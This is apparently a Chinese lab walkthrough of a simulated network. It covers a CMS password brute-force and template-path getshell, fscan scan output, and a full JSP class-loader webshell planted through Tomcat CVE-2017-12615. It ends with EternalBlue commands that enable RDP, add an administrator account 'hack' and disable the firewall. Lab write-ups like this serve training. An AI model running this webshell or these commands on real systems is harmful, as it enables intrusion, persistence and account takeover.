CMS Getshell #
fscan扫描到192.168.10.10
开放了808端口,似乎使用的是骑士CMS
4.2.111
admin
,尝试进行爆破密码
admin123456
。来到工具-风格模板-可用模板进行抓包,修改tpl_dir的值
/Application/Home/Conf/config.php
CVE-2017-12615 #
上传fscan再次进行扫描,发现还存在两台主机
C:\phpstudy_pro\WWW\Application\Home\Conf>.\fscan.exe -h 192.168.10.10/24
.\fscan.exe -h 192.168.10.10/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.10.10 is alive
(icmp) Target 192.168.10.20 is alive
(icmp) Target 192.168.10.233 is alive
[*] Icmp alive hosts len is: 3
192.168.10.20:139 open
192.168.10.10:139 open
192.168.10.233:8080 open
192.168.10.20:8080 open
192.168.10.10:3306 open
192.168.10.20:445 open
192.168.10.10:445 open
192.168.10.20:135 open
192.168.10.233:22 open
192.168.10.10:808 open
192.168.10.20:8009 open
192.168.10.10:7680 open
192.168.10.10:135 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo
[*]192.168.10.10
[->]DESKTOP-JFB57A8
[->]192.168.10.10
[*] WebTitle https://192.168.10.233:8080 code:404 len:19 title:None
[*] NetBios 192.168.10.20 cyberweb.cyberstrikelab.com Windows Server 2012 R2 Standard 9600
[*] WebTitle http://192.168.10.20:8080 code:200 len:11432 title:Apache Tomcat/8.5.19
[+] PocScan http://192.168.10.20:8080 poc-yaml-iis-put-getshell
[*] WebTitle http://192.168.10.10:808 code:404 len:1331 title:系统发生错误
[+] PocScan http://192.168.10.20:8080 poc-yaml-tomcat-cve-2017-12615-rce
并且其中192.168.10.20存在cve漏洞,进入网页可以看到是tomcat
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
连接成功
MS17-010 #
内网扫描一下,发现192.168.20.30存在永恒之蓝漏洞
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set COMMAND net user hack Admin@123 /add
set COMMAND net localgroup Administrators hack /add
set COMMAND netsh firewall set opmode disable
这里通过修改注册表打开RDP以及添加用户,这里和lab1的登录方式是一样的